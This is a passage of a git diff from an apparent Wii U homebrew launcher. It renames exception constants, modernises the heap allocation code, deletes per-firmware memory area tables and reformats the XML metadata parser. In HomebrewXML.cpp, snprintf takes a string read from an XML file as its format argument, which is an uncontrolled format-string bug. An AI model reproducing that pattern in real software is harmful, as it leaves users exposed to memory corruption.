exception_print_formats[17], &(pAdd[i]),pAdd[i], pAdd[i+1], pAdd[i+2], pAdd[i+3]); - //} + //if(exception_type == OS_EXCEPTION_DSI) { + uint32_t *pAdd = (uint32_t*)context->srr0; + pos += sprintf(buf + pos, exception_print_formats[16]); + // TODO by Dimok: this was actually be 3 instead of 2 lines in libogc .... but there is just no more space anymore on the screen + for (i = 0; i < 8; i += 4) + pos += sprintf(buf + pos, exception_print_formats[17], &(pAdd[i]),pAdd[i], pAdd[i+1], pAdd[i+2], pAdd[i+3]); + //} OSFatal(buf); return 1; @@ -163,7 +130,7 @@ static unsigned char program_exception_cb(void * context) { } void setup_os_exceptions(void) { - OSSetExceptionCallback(OS_EXCEPTION_DSI, (OSExceptionCallbackFn)dsi_exception_cb); - OSSetExceptionCallback(OS_EXCEPTION_ISI, (OSExceptionCallbackFn)isi_exception_cb); - OSSetExceptionCallback(OS_EXCEPTION_PROGRAM, (OSExceptionCallbackFn)program_exception_cb); + OSSetExceptionCallback(OS_EXCEPTION_TYPE_DSI, (OSExceptionCallbackFn)dsi_exception_cb); + OSSetExceptionCallback(OS_EXCEPTION_TYPE_ISI, (OSExceptionCallbackFn)isi_exception_cb); + OSSetExceptionCallback(OS_EXCEPTION_TYPE_PROGRAM, (OSExceptionCallbackFn)program_exception_cb); } diff --git a/src/system/memory.c b/src/system/memory.c index 9d41226..b8a854a 100644 --- a/src/system/memory.c +++ b/src/system/memory.c @@ -17,9 +17,8 @@ #include #include #include -#include -#include -#include +#include +#include #include "common/common.h" #include "memory.h" @@ -37,23 +36,20 @@ //! Memory functions //! This is the only place where those are needed so lets keep them more or less private //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -static MEMExpandedHeap * mem1_heap = NULL; -static MEMExpandedHeap * bucket_heap = NULL; +static MEMHeapHandle mem1_heap = NULL; +static MEMHeapHandle bucket_heap = NULL; -void memoryInitialize(void) -{ - if(!mem1_heap) - { - MEMFrameHeap * mem1_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_1); +void memoryInitialize(void) { + if(!mem1_heap) { + MEMHeapHandle mem1_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_1); unsigned int mem1_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(mem1_heap_handle, 4); void *mem1_memory = MEMAllocFromFrmHeapEx(mem1_heap_handle, mem1_allocatable_size, 4); if(mem1_memory) mem1_heap = MEMCreateExpHeapEx(mem1_memory, mem1_allocatable_size, 0); } - if(!bucket_heap) - { - MEMFrameHeap * bucket_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET); + if(!bucket_heap) { + MEMHeapHandle bucket_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET); unsigned int bucket_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(bucket_heap_handle, 4); void *bucket_memory = MEMAllocFromFrmHeapEx(bucket_heap_handle, bucket_allocatable_size, 4); if(bucket_memory) @@ -61,16 +57,13 @@ void memoryInitialize(void) } } -void memoryRelease(void) -{ - if(mem1_heap) - { +void memoryRelease(void) { + if(mem1_heap) { MEMDestroyExpHeap(mem1_heap); MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_1), 3); mem1_heap = NULL; } - if(bucket_heap) - { + if(bucket_heap) { MEMDestroyExpHeap(bucket_heap); MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET), 3); bucket_heap = NULL; @@ -164,36 +157,30 @@ void *__wrap__realloc_r(struct _reent *r, void *p, size_t size) //!------------------------------------------------------------------------------------------- //! some wrappers //!------------------------------------------------------------------------------------------- -void * MEM2_alloc(unsigned int size, unsigned int align) -{ +void * MEM2_alloc(unsigned int size, unsigned int align) { return memalign(align, size); } -void MEM2_free(void *ptr) -{ +void MEM2_free(void *ptr) { free(ptr); } -void * MEM1_alloc(unsigned int size, unsigned int align) -{ +void * MEM1_alloc(unsigned int size, unsigned int align) { if (align < 4) align = 4; return MEMAllocFromExpHeapEx(mem1_heap, size, align); } -void MEM1_free(void *ptr) -{ +void MEM1_free(void *ptr) { MEMFreeToExpHeap(mem1_heap, ptr); } -void * MEMBucket_alloc(unsigned int size, unsigned int align) -{ +void * MEMBucket_alloc(unsigned int size, unsigned int align) { if (align < 4) align = 4; return MEMAllocFromExpHeapEx(bucket_heap, size, align); } -void MEMBucket_free(void *ptr) -{ +void MEMBucket_free(void *ptr) { MEMFreeToExpHeap(bucket_heap, ptr); } diff --git a/src/system/memory_area_table.c b/src/system/memory_area_table.c deleted file mode 100644 index 76bcba8..0000000 --- a/src/system/memory_area_table.c +++ /dev/null @@ -1,397 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include -#include -#include "common/common.h" -#include "utils/utils.h" -#include "memory_area_table.h" - -typedef struct _memory_values_t -{ - unsigned int start_address; - unsigned int end_address; -} memory_values_t; - -static const memory_values_t mem_vals_400[] = -{ - { 0x2E573BFC, 0x2FF8F83C }, // 26735 kB - { 0x2D86D318, 0x2DFFFFFC }, // 7755 kB - { 0x2CE59830, 0x2D3794D8 }, // 5247 kB - { 0x2D3795AC, 0x2D854300 }, // 4971 kB - { 0x28FEC800, 0x293B29D0 }, // 3864 kB - { 0x29BC200C, 0x29D79B94 }, // 1758 kB - { 0x2A517A68, 0x2A6794B8 }, // 1414 kB - { 0x288C1D80, 0x28A69FA0 }, // 1696 kB - - { 0, 0 } -}; - -static const memory_values_t mem_vals_410[] = -{ -// { 0x28041760, 0x28049D0C } // 33 kB -// { 0x280608F4, 0x2806C97C } // 48 kB -// { 0x280953C8, 0x280A1324 } // 47 kB -// { 0x280A1358, 0x280AD388 } // 48 kB -// { 0x280C9040, 0x280D0ABC } // 30 kB -// { 0x280D0AD8, 0x28113FBC } // 269 kB -// { 0x2812575C, 0x2817A53C } // 339 kB -// { 0x2817A6A0, 0x281BA53C } // 255 kB -// { 0x281D571C, 0x2820253C } // 179 kB -// { 0x28234D00, 0x2824B33C } // 89 kB -// { 0x2824E300, 0x2828D7BC } // 253 kB -// { 0x282A8DF0, 0x282B63FC } // 53 kB -// { 0x282BC524, 0x282C62FC } // 39 kB -// { 0x2835A988, 0x28366804 } // 47 kB -// { 0x2836E05C, 0x28378DBC } // 43 kB -// { 0x283A735C, 0x284D2A64 } // 1197 kB (1 MB) -// { 0x284D76B0, 0x285021FC } // 170 kB -// { 0x285766A4, 0x28583E4C } // 53 kB -// { 0x28590E5C, 0x2859B248 } // 40 kB -// { 0x2859B288, 0x285AE06C } // 75 kB -// { 0x285B7108, 0x285C0A7C } // 38 kB -// { 0x285C38A0, 0x285D089C } // 52 kB -// { 0x285D0A84, 0x285DC63C } // 46 kB -// { 0x285E0A84, 0x285F089C } // 63 kB -// { 0x285F7FD0, 0x286037D8 } // 46 kB -// { 0x2860E3E4, 0x28621B00 } // 77 kB -// { 0x286287B0, 0x28638BC0 } // 65 kB -// { 0x2863F4A0, 0x2864DE00 } // 58 kB -// { 0x2864F1FC, 0x28656EE0 } // 31 kB -// { 0x2865AF44, 0x286635A0 } // 33 kB -// { 0x2866F774, 0x2867C680 } // 51 kB -// { 0x2867FAC0, 0x286A2CA0 } // 140 kB -// { 0x286B3540, 0x286C1900 } // 56 kB -// { 0x286C64A4, 0x286DDB80 } // 93 kB -// { 0x286E640C, 0x286F1DC0 } // 46 kB -// { 0x286F3884, 0x2870D3C0 } // 102 kB -// { 0x28710824, 0x28719D80 } // 37 kB -// { 0x2872A674, 0x2873B180 } // 66 kB -// { 0x287402F0, 0x28758780 } // 97 kB -// { 0x287652F0, 0x28771C00 } // 50 kB -// { 0x287F878C, 0x2880A680 } // 71 kB -// { 0x2880F4AC, 0x2881E6E0 } // 60 kB -// { 0x28821488, 0x28829A40 } // 33 kB -// { 0x2882A5D0, 0x288385BC } // 55 kB -// { 0x288385D8, 0x28854780 } // 112 kB -// { 0x28857984, 0x28864F80 } // 53 kB -// { 0x28870AC0, 0x2887CAC0 } // 48 kB -// { 0x2887CAC8, 0x28888CC8 } // 48 kB -// { 0x28888CD0, 0x28894ED0 } // 48 kB -// { 0x28894ED8, 0x288BE0DC } // 164 kB -// { 0x288C1C70, 0x28AD9ED4 } // 2144 kB (2 MB) -// { 0x28AD9F04, 0x28B66100 } // 560 kB -// { 0x28B748A8, 0x28B952E0 } // 130 kB -// { 0x28B9AB58, 0x28BA2480 } // 30 kB -// { 0x28BA3D00, 0x28BC21C0 } // 121 kB -// { 0x28BC2F08, 0x28BD9860 } // 90 kB -// { 0x28BED09C, 0x28BFDD00 } // 67 kB -// { 0x28C068F0, 0x28C2E220 } // 158 kB -// { 0x28CC4C6C, 0x28CF6834 } // 198 kB -// { 0x28D3DD64, 0x28D4BF8C } // 56 kB -// { 0x28D83C4C, 0x28DD0284 } // 305 kB -// { 0x28DDDED4, 0x28E84294 } // 664 kB -// { 0x28E99C7C, 0x28F382A4 } // 633 kB -// { 0x28F45EF4, 0x28FEC2B4 } // 664 kB -// { 0x28FEC800, 0x293B2A18 } // 3864 kB (3 MB) -// { 0x293E187C, 0x293EC7FC } // 43 kB -// { 0x295C7240, 0x295D523C } // 56 kB -// { 0x295DA8DC, 0x295E323C } // 34 kB -// { 0x295ED6C0, 0x295F6FDC } // 38 kB -// { 0x29606340, 0x2960FC5C } // 38 kB -// { 0x2964F040, 0x29657C3C } // 35 kB -// { 0x296E0EBC, 0x296EBDBC } // 43 kB -// { 0x2998DFB4, 0x2999DEE4 } // 63 kB -// { 0x2999E6A8, 0x299BE9C4 } // 128 kB -// { 0x29B8DF40, 0x29BA09DC } // 74 kB -// { 0x29BC200C, 0x29D79B94 } // 1758 kB (1 MB) -// { 0x29DA9694, 0x29DB1694 } // 32 kB -// { 0x2A3D7558, 0x2A427558 } // 320 kB -// { 0x2A42769C, 0x2A47769C } // 320 kB -// { 0x2A4777E0, 0x2A4C77E0 } // 320 kB -// { 0x2A4C7924, 0x2A517924 } // 320 kB -// { 0x2A517A68, 0x2A6794B8 } // 1414 kB (1 MB) -// { 0x2AD17528, 0x2AD4EA24 } // 221 kB -// { 0x2B038C4C, 0x2B1794C8 } // 1282 kB (1 MB) -// { 0x2BBA990C, 0x2BBB983C } // 63 kB -// { 0x2BBBA160, 0x2BC82164 } // 800 kB -// { 0x2BD0000C, 0x2BD71638 } // 453 kB -// { 0x2BD7170C, 0x2BD83B0C } // 73 kB -// { 0x2BDBA000, 0x2BDCA028 } // 64 kB -// { 0x2BDCE000, 0x2BDDE028 } // 64 kB -// { 0x2BDE2E34, 0x2BDF2D64 } // 63 kB -// { 0x2BDF35E8, 0x2BE031BC } // 62 kB -// { 0x2BE052A4, 0x2BE151D4 } // 63 kB -// { 0x2BE174AC, 0x2BE27244 } // 63 kB -// { 0x2BE3AC80, 0x2BE48C80 } // 56 kB -// { 0x2BE49EDC, 0x2BE56C7C } // 51 kB -// { 0x2BE82F70, 0x2BE92E9C } // 63 kB -// { 0x2BE9ADBC, 0x2BEA8DBC } // 56 kB -// { 0x2BEAAB7C, 0x2BEB6DBC } // 48 kB -// { 0x2BEC0F3C, 0x2BECEF3C } // 56 kB -// { 0x2BED45DC, 0x2BEDCF3C } // 34 kB -// { 0x2BEE73C0, 0x2BEF0CDC } // 38 kB -// { 0x2BF00040, 0x2BF0995C } // 38 kB -// { 0x2BF48D40, 0x2BF5193C } // 35 kB -// { 0x2BFDABBC, 0x2BFE5ABC } // 43 kB -// { 0x2C03DA40, 0x2C045D7C } // 32 kB -// { 0x2C179450, 0x2C18937C } // 63 kB -// { 0x2C1DC940, 0x2C1EA93C } // 56 kB -// { 0x2C1EABDC, 0x2C1F893C } // 55 kB -// { 0x2C239A80, 0x2C243D3C } // 40 kB -// { 0x2CE10224, 0x2CE3683C } // 153 kB -// { 0x2CE374F4, 0x2CE473A4 } // 63 kB -// { 0x2CE49830, 0x2D3794D8 } // 5311 kB (5 MB) -// { 0x2D3795AC, 0x2D854300 } // 4971 kB (4 MB) -// { 0x2D8546B0, 0x2D8602C4 } // 47 kB -// { 0x2D86D318, 0x2DFFFFFC } // 7755 kB (7 MB) -// { 0x2E2DCD60, 0x2E2E4D7C } // 32 kB -// { 0x2E33F160, 0x2E365AFC } // 154 kB -// { 0x2E37AC40, 0x2E39BB3C } // 131 kB -// { 0x2E3A6EF0, 0x2E3CA2FC } // 141 kB -// { 0x2E3D9EE0, 0x2E400B3C } // 155 kB -// { 0x2E43A8F0, 0x2E442BBC } // 32 kB -// { 0x2E46EC90, 0x2E48E27C } // 125 kB -// { 0x2E497F90, 0x2E4A147C } // 37 kB -// { 0x2E4A5B40, 0x2E4C67BC } // 131 kB -// { 0x2E4FBEF0, 0x2E52697C } // 170 kB -// { 0x2E550750, 0x2E57333C } // 138 kB -// { 0x2E573F3C, 0x2FF8F07C } // 226732 kB (26 MB) -// { 0x31000000, 0x31E1FFFC } // 614464 kB (14 MB) -// { 0x320A5D80, 0x320AEA3C } // 35 kB -// { 0x320E8670, 0x3210017C } // 94 kB -// { 0x3212609C, 0x3213187C } // 45 kB -// { 0x3219DF08, 0x321B72BC } // 100 kB -// { 0x3300ED34, 0x3301AD3C } // 48 kB -// { 0x33041760, 0x33049D0C } // 33 kB -// { 0x330608F8, 0x3306C97C } // 48 kB -// { 0x33089D80, 0x33095284 } // 45 kB -// { 0x33095470, 0x330A1324 } // 47 kB -// { 0x330A1358, 0x330ADC10 } // 50 kB -// { 0x330C9040, 0x330D0ABC } // 30 kB -// { 0x330D0AD8, 0x3311F9CC } // 315 kB -// { 0x3312575C, 0x3320A63C } // 915 kB -// { 0x33234D00, 0x3324B33C } // 89 kB -// { 0x3324E300, 0x3328D7BC } // 253 kB -// { 0x3329D134, 0x332CA324 } // 180 kB -// { 0x3332B200, 0x33340C88 } // 86 kB -// { 0x3335A440, 0x335021FC } // 1695 kB (1 MB) -// { 0x3350A778, 0x3391680C } // 4144 kB (4 MB) -// { 0x3391A444, 0x3392A25C } // 63 kB -// { 0x3392A444, 0x33939EB4 } // 62 kB -// { 0x3393A444, 0x3394A25C } // 63 kB -// { 0x339587C0, 0x33976C80 } // 121 kB -// { 0x339779C8, 0x3398E320 } // 90 kB -// { 0x3399AE74, 0x339A7D80 } // 51 kB -// { 0x339AB1C0, 0x339CE3A0 } // 140 kB -// { 0x339CEB28, 0x339DEC38 } // 64 kB -// { 0x339DEC40, 0x339ED000 } // 56 kB -// { 0x339F1BA4, 0x33A09280 } // 93 kB -// { 0x33A0C6E4, 0x33A15C40 } // 37 kB -// { 0x33A15D64, 0x33EBFFFC } // 4776 kB (4 MB) -// { 0x33F01380, 0x33F21FFC } // 131 kB -// { 0x33F44820, 0x33F6B1BC } // 154 kB -// { 0x33F80300, 0x33FA11FC } // 131 kB -// { 0x33FA4D3C, 0x33FEDAFC } // 291 kB -// { 0x33FFFFD4, 0x38FFFFFC } // 81920 kB (80 MB) - {0, 0} -}; - -static const memory_values_t mem_vals_500[] = -{ - { 0x2E605CBC, 0x2FF849BC }, // size 26733828 (26107 kB) (25 MB) - { 0x2CAE7878, 0x2D207DB4 }, // size 7472448 (7297 kB) (7 MB) - { 0x2D3B966C, 0x2D8943C0 }, // size 5090648 (4971 kB) (4 MB) - { 0x2D8AD3D8, 0x2DFFFFFC }, // size 7679016 (7499 kB) (7 MB) - // TODO: Check which of those areas are usable -// { 0x283A73DC, 0x284D2AE4 } // size 1226508 (1197 kB) (1 MB) -// { 0x29030800, 0x293F69FC } // size 3957248 (3864 kB) (3 MB) -// { 0x2970200C, 0x298B9C54 } // size 1801292 (1759 kB) (1 MB) -// { 0x2A057B68, 0x2A1B9578 } // size 1448468 (1414 kB) (1 MB) - -// { 0x29030800, 0x293F69FC } // size 3957248 (3864 kB) (3 MB) -// { 0x2970200C, 0x298B9C54 } // size 1801292 (1759 kB) (1 MB) -// { 0x2A057B68, 0x2A1B9578 } // size 1448468 (1414 kB) (1 MB) -// { 0x288EEC30, 0x28B06E94 } // size 2196072 (2144 kB) (2 MB) -// { 0x283A73DC, 0x284D2AE4 } // size 1226508 (1197 kB) (1 MB) -// { 0x3335A4C0, 0x335021FC } // size 1736000 (1695 kB) (1 MB) -// { 0x3350C1D4, 0x339182CC } // size 4243708 (4144 kB) (4 MB) -// { 0x33A14094, 0x33EBFFFC } // size 4898668 (4783 kB) (4 MB) -// { 0x33FFFFD4, 0x38FFFFFC } // size 83886124 (81920 kB) (80 MB) - {0, 0} -}; - -static const memory_values_t mem_vals_532[] = -{ - // TODO: Check which of those areas are usable -// {0x28000000 + 0x000DCC9C, 0x28000000 + 0x00174F80}, // 608 kB -// {0x28000000 + 0x00180B60, 0x28000000 + 0x001C0A00}, // 255 kB -// {0x28000000 + 0x001ECE9C, 0x28000000 + 0x00208CC0}, // 111 kB -// {0x28000000 + 0x00234180, 0x28000000 + 0x0024B444}, // 92 kB -// {0x28000000 + 0x0024D8C0, 0x28000000 + 0x0028D884}, // 255 kB -// {0x28000000 + 0x003A745C, 0x28000000 + 0x004D2B68}, // 1197 kB -// {0x28000000 + 0x004D77B0, 0x28000000 + 0x00502200}, // 170 kB -// {0x28000000 + 0x005B3A88, 0x28000000 + 0x005C6870}, // 75 kB -// {0x28000000 + 0x0061F3E4, 0x28000000 + 0x00632B04}, // 77 kB -// {0x28000000 + 0x00639790, 0x28000000 + 0x00649BC4}, // 65 kB -// {0x28000000 + 0x00691490, 0x28000000 + 0x006B3CA4}, // 138 kB -// {0x28000000 + 0x006D7BCC, 0x28000000 + 0x006EEB84}, // 91 kB -// {0x28000000 + 0x00704E44, 0x28000000 + 0x0071E3C4}, // 101 kB -// {0x28000000 + 0x0073B684, 0x28000000 + 0x0074C184}, // 66 kB -// {0x28000000 + 0x00751354, 0x28000000 + 0x00769784}, // 97 kB -// {0x28000000 + 0x008627DC, 0x28000000 + 0x00872904}, // 64 kB -// {0x28000000 + 0x008C1E98, 0x28000000 + 0x008EB0A0}, // 164 kB -// {0x28000000 + 0x008EEC30, 0x28000000 + 0x00B06E98}, // 2144 kB -// {0x28000000 + 0x00B06EC4, 0x28000000 + 0x00B930C4}, // 560 kB -// {0x28000000 + 0x00BA1868, 0x28000000 + 0x00BC22A4}, // 130 kB -// {0x28000000 + 0x00BC48F8, 0x28000000 + 0x00BDEC84}, // 104 kB -// {0x28000000 + 0x00BE3DC0, 0x28000000 + 0x00C02284}, // 121 kB -// {0x28000000 + 0x00C02FC8, 0x28000000 + 0x00C19924}, // 90 kB -// {0x28000000 + 0x00C2D35C, 0x28000000 + 0x00C3DDC4}, // 66 kB -// {0x28000000 + 0x00C48654, 0x28000000 + 0x00C6E2E4}, // 151 kB -// {0x28000000 + 0x00D04E04, 0x28000000 + 0x00D36938}, // 198 kB -// {0x28000000 + 0x00DC88AC, 0x28000000 + 0x00E14288}, // 302 kB -// {0x28000000 + 0x00E21ED4, 0x28000000 + 0x00EC8298}, // 664 kB -// {0x28000000 + 0x00EDDC7C, 0x28000000 + 0x00F7C2A8}, // 633 kB -// {0x28000000 + 0x00F89EF4, 0x28000000 + 0x010302B8}, // 664 kB -// {0x28000000 + 0x01030800, 0x28000000 + 0x013F69A0}, // 3864 kB -// {0x28000000 + 0x016CE000, 0x28000000 + 0x016E0AA0}, // 74 kB -// {0x28000000 + 0x0170200C, 0x28000000 + 0x018B9C58}, // 1759 kB -// {0x28000000 + 0x01F17658, 0x28000000 + 0x01F6765C}, // 320 kB -// {0x28000000 + 0x01F6779C, 0x28000000 + 0x01FB77A0}, // 320 kB -// {0x28000000 + 0x01FB78E0, 0x28000000 + 0x020078E4}, // 320 kB -// {0x28000000 + 0x02007A24, 0x28000000 + 0x02057A28}, // 320 kB -// {0x28000000 + 0x02057B68, 0x28000000 + 0x021B957C}, // 1414 kB -// {0x28000000 + 0x02891528, 0x28000000 + 0x028C8A28}, // 221 kB -// {0x28000000 + 0x02BBCC4C, 0x28000000 + 0x02CB958C}, // 1010 kB -// {0x28000000 + 0x0378D45C, 0x28000000 + 0x03855464}, // 800 kB -// {0x28000000 + 0x0387800C, 0x28000000 + 0x03944938}, // 818 kB -// {0x28000000 + 0x03944A08, 0x28000000 + 0x03956E0C}, // 73 kB -// {0x28000000 + 0x04A944A4, 0x28000000 + 0x04ABAAC0}, // 153 kB -// {0x28000000 + 0x04ADE370, 0x28000000 + 0x0520EAB8}, // 7361 kB // ok -// {0x28000000 + 0x053B966C, 0x28000000 + 0x058943C4}, // 4971 kB // ok -// {0x28000000 + 0x058AD3D8, 0x28000000 + 0x06000000}, // 7499 kB -// {0x28000000 + 0x0638D320, 0x28000000 + 0x063B0280}, // 139 kB -// {0x28000000 + 0x063C39E0, 0x28000000 + 0x063E62C0}, // 138 kB -// {0x28000000 + 0x063F52A0, 0x28000000 + 0x06414A80}, // 125 kB -// {0x28000000 + 0x06422810, 0x28000000 + 0x0644B2C0}, // 162 kB -// {0x28000000 + 0x064E48D0, 0x28000000 + 0x06503EC0}, // 125 kB -// {0x28000000 + 0x0650E360, 0x28000000 + 0x06537080}, // 163 kB -// {0x28000000 + 0x0653A460, 0x28000000 + 0x0655C300}, // 135 kB -// {0x28000000 + 0x0658AA40, 0x28000000 + 0x065BC4C0}, // 198 kB // ok -// {0x28000000 + 0x065E51A0, 0x28000000 + 0x06608E80}, // 143 kB // ok -// {0x28000000 + 0x06609ABC, 0x28000000 + 0x07F82C00}, // 26084 kB // ok - -// {0x30000000 + 0x000DCC9C, 0x30000000 + 0x00180A00}, // 655 kB -// {0x30000000 + 0x00180B60, 0x30000000 + 0x001C0A00}, // 255 kB -// {0x30000000 + 0x001F5EF0, 0x30000000 + 0x00208CC0}, // 75 kB -// {0x30000000 + 0x00234180, 0x30000000 + 0x0024B444}, // 92 kB -// {0x30000000 + 0x0024D8C0, 0x30000000 + 0x0028D884}, // 255 kB -// {0x30000000 + 0x003A745C, 0x30000000 + 0x004D2B68}, // 1197 kB -// {0x30000000 + 0x006D3334, 0x30000000 + 0x00772204}, // 635 kB -// {0x30000000 + 0x00789C60, 0x30000000 + 0x007C6000}, // 240 kB -// {0x30000000 + 0x00800000, 0x30000000 + 0x01E20000}, // 22876 kB // ok - { 0x2E609ABC, 0x2FF82C00 }, // 26084 kB - { 0x29030800, 0x293F69A0 }, // 3864 kB - { 0x288EEC30, 0x28B06E98 }, // 2144 kB - { 0x2D3B966C, 0x2D8943C4 }, // 4971 kB - { 0x2CAE0370, 0x2D20EAB8 }, // 7361 kB - { 0x2D8AD3D8, 0x2E000000 }, // 7499 kB - - {0, 0} -}; // total : 66mB + 25mB - -static const memory_values_t mem_vals_540[] = -{ - { 0x2E609EFC, 0x2FF82000 }, // 26083 kB - { 0x29030800, 0x293F6000 }, // 3864 kB - { 0x288EEC30, 0x28B06800 }, // 2144 kB - { 0x2D3B966C, 0x2D894000 }, // 4971 kB - { 0x2CB56370, 0x2D1EF000 }, // 6756 kB - { 0x2D8AD3D8, 0x2E000000 }, // 7499 kB - { 0x2970200C, 0x298B9800 }, // 1759 kB - { 0x2A057B68, 0x2A1B9000 }, // 1414 kB - { 0x2ABBCC4C, 0x2ACB9000 }, // 1010 kB - {0, 0} -}; - -s_mem_area * memoryGetAreaTable(void) -{ - return MEM_AREA_TABLE; -} - -static inline void memoryAddArea(int start, int end, int cur_index) -{ - // Create and copy new memory area - s_mem_area * mem_area = memoryGetAreaTable(); - mem_area[cur_index].address = start; - mem_area[cur_index].size = end - start; - mem_area[cur_index].next = 0; - - // Fill pointer to this area in the previous area - if (cur_index > 0) - { - mem_area[cur_index - 1].next = &mem_area[cur_index]; - } -} - -/* Create memory areas arrays */ -void memoryInitAreaTable() -{ - u32 ApplicationMemoryEnd = (u32)APP_BASE_MEM; - - // This one seems to be available on every firmware and therefore its our code area but also our main RPX area behind our code - // 22876 kB - our application // ok - if(OS_FIRMWARE <= 400) { - memoryAddArea(ApplicationMemoryEnd + 0x4B000000, 0x4B000000 + 0x01E20000, 0); - } - else { - memoryAddArea(ApplicationMemoryEnd + 0x30000000, 0x30000000 + 0x01E20000, 0); - } - - const memory_values_t * mem_vals = NULL; - - switch(OS_FIRMWARE) - { - case 400: { - mem_vals = mem_vals_400; - break; - } - case 500: { - mem_vals = mem_vals_500; - break; - } - case 532: { - mem_vals = mem_vals_532; - break; - } - case 540: - case 550: { - mem_vals = mem_vals_540; - break; - } - default: - return; // no known values - } - - // Fill entries - int i = 0; - while (mem_vals[i].start_address) - { - memoryAddArea(mem_vals[i].start_address, mem_vals[i].end_address, i + 1); - i++; - } -} diff --git a/src/system/memory_area_table.h b/src/system/memory_area_table.h deleted file mode 100644 index 70d7f2f..0000000 --- a/src/system/memory_area_table.h +++ /dev/null @@ -1,34 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef _MEMORY_AREA_TABLE_H_ -#define _MEMORY_AREA_TABLE_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include "common/common.h" - -void memoryInitAreaTable(); -s_mem_area * memoryGetAreaTable(void); - - -#ifdef __cplusplus -} -#endif - -#endif // _MEMORY_AREA_TABLE_H_ diff --git a/src/utils/HomebrewXML.cpp b/src/utils/HomebrewXML.cpp index 481ceb2..f2bb2c9 100644 --- a/src/utils/HomebrewXML.cpp +++ b/src/utils/HomebrewXML.cpp @@ -1,7 +1,7 @@ #include #include #include -#include "common/types.h" +#include #include "tinyxml.h" #include "HomebrewXML.h" @@ -9,150 +9,138 @@ #define ENTRIE_SIZE 8192 /* qparam filename Filepath of the XML file */ -bool HomebrewXML::LoadHomebrewXMLData(const char* filename) -{ - Name.clear(); - Coder.clear(); - Version.clear(); - ShortDescription.clear(); - LongDescription.clear(); - Releasedate.clear(); +bool HomebrewXML::LoadHomebrewXMLData(const char* filename) { + Name.clear(); + Coder.clear(); + Version.clear(); + ShortDescription.clear(); + LongDescription.clear(); + Releasedate.clear(); - TiXmlDocument xmlDoc(filename); - if(!xmlDoc.LoadFile()) - return false; + TiXmlDocument xmlDoc(filename); + if(!xmlDoc.LoadFile()) + return false; - TiXmlElement *appNode = xmlDoc.FirstChildElement("app"); - if(!appNode) - return false; + TiXmlElement *appNode = xmlDoc.FirstChildElement("app"); + if(!appNode) + return false; - TiXmlElement *node = NULL; + TiXmlElement *node = NULL; - node = appNode->FirstChildElement("name"); - if(node && node->FirstChild() && node->FirstChild()->Value()) - Name = node->FirstChild()->Value(); + node = appNode->FirstChildElement("name"); + if(node && node->FirstChild() && node->FirstChild()->Value()) + Name = node->FirstChild()->Value(); - node = appNode->FirstChildElement("coder"); - if(node && node->FirstChild() && node->FirstChild()->Value()) - Coder = node->FirstChild()->Value(); + node = appNode->FirstChildElement("coder"); + if(node && node->FirstChild() && node->FirstChild()->Value()) + Coder = node->FirstChild()->Value(); - node = appNode->FirstChildElement("version"); - if(node && node->FirstChild() && node->FirstChild()->Value()) - Version = node->FirstChild()->Value(); + node = appNode->FirstChildElement("version"); + if(node && node->FirstChild() && node->FirstChild()->Value()) + Version = node->FirstChild()->Value(); - node = appNode->FirstChildElement("short_description"); - if(node && node->FirstChild() && node->FirstChild()->Value()) - ShortDescription = node->FirstChild()->Value(); + node = appNode->FirstChildElement("short_description"); + if(node && node->FirstChild() && node->FirstChild()->Value()) + ShortDescription = node->FirstChild()->Value(); - node = appNode->FirstChildElement("long_description"); - if(node && node->FirstChild() && node->FirstChild()->Value()) - LongDescription = node->FirstChild()->Value(); + node = appNode->FirstChildElement("long_description"); + if(node && node->FirstChild() && node->FirstChild()->Value()) + LongDescription = node->FirstChild()->Value(); - char ReleaseText[200]; - memset(ReleaseText, 0, sizeof(ReleaseText)); + char ReleaseText[200]; + memset(ReleaseText, 0, sizeof(ReleaseText)); - node = appNode->FirstChildElement("release_date"); - if(node && node->FirstChild() && node->FirstChild()->Value()) - snprintf(ReleaseText, sizeof(ReleaseText), node->FirstChild()->Value()); + node = appNode->FirstChildElement("release_date"); + if(node && node->FirstChild() && node->FirstChild()->Value()) + snprintf(ReleaseText, sizeof(ReleaseText), node->FirstChild()->Value()); - int len = (strlen(ReleaseText) - 6); //length of the date string without the 200000 at the end - if (len == 8) - snprintf(ReleaseText, sizeof(ReleaseText), "%c%c/%c%c/%c%c%c%c", ReleaseText[4], ReleaseText[5], ReleaseText[6], ReleaseText[7], ReleaseText[0], ReleaseText[1], ReleaseText[2], ReleaseText[3]); - else if (len == 6) - snprintf(ReleaseText, sizeof(ReleaseText), "%c%c/%c%c%c%c", ReleaseText[4], ReleaseText[5], ReleaseText[0], ReleaseText[1], ReleaseText[2], ReleaseText[3]); - else - snprintf(ReleaseText, sizeof(ReleaseText), "%s", ReleaseText); + int len = (strlen(ReleaseText) - 6); //length of the date string without the 200000 at the end + if (len == 8) + snprintf(ReleaseText, sizeof(ReleaseText), "%c%c/%c%c/%c%c%c%c", ReleaseText[4], ReleaseText[5], ReleaseText[6], ReleaseText[7], 